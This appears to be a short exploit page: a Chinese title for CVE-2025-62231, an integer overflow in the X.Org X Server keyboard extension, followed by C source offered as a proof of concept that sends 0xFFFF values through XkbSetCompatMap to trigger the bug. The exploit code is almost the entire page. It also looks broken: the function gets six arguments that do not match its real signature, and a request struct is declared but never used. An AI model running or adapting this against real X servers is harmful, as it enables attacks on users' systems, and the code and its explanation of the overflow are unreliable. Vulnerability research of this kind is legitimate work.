CVE-2025-62231: X.Org X Server Xkb扩展整数溢出漏洞

// CVE-2025-62231 PoC - XkbSetCompatMap Integer Overflow // Author: Security Researcher // Target: X.Org X Server X Keyboard Extension #include <X11/Xlib.h> #include <X11/extensions/XKBgeom.h> #include <stdio.h> #include <stdlib.h> // Xkb compatibility map request structure typedef struct { unsigned char reqType; unsigned char xkbReqCode; unsigned short length; unsigned char deviceSpec; unsigned short firstSI; unsigned short nSI; unsigned char flags; unsigned char pad; } xkbSetCompatMapReq; int trigger_overflow(Display *dpy, int device_id) { XkbDescPtr xkb; // Initialize XKB extension if (!XkbQueryExtension(dpy, NULL, NULL, NULL, NULL)) { fprintf(stderr, "XKB extension not available\n"); return -1; } xkb = XkbAllocKeyboard(); if (!xkb) { fprintf(stderr, "Failed to allocate keyboard\n"); return -1; } // Trigger integer overflow by setting large nSI value // This causes unsigned short overflow in XkbSetCompatMap Status status = XkbSetCompatMap(dpy, device_id, XkbCompatMapMask, // flags xkb, 0xFFFF, // firstSI - large value 0xFFFF); // nSI - triggers overflow (0xFFFF * sizeof(some_struct)) if (status != Success) { printf("CompatMap update failed (expected with overflow)\n"); } XkbFreeKeyboard(xkb, 0, True); return status; } int main(int argc, char **argv) { Display *dpy; const char *display = getenv("DISPLAY"); if (!display) { display = ":0"; } printf("[*] CVE-2025-62231 PoC - XkbSetCompatMap Integer Overflow\n"); printf("[*] Target: %s\n", display); dpy = XOpenDisplay(display); if (!dpy) { fprintf(stderr, "Cannot open display\n"); return 1; } printf("[*] Triggering overflow...\n"); trigger_overflow(dpy, XkbUseCoreKbd); XCloseDisplay(dpy); printf("[*] Done\n"); return 0; }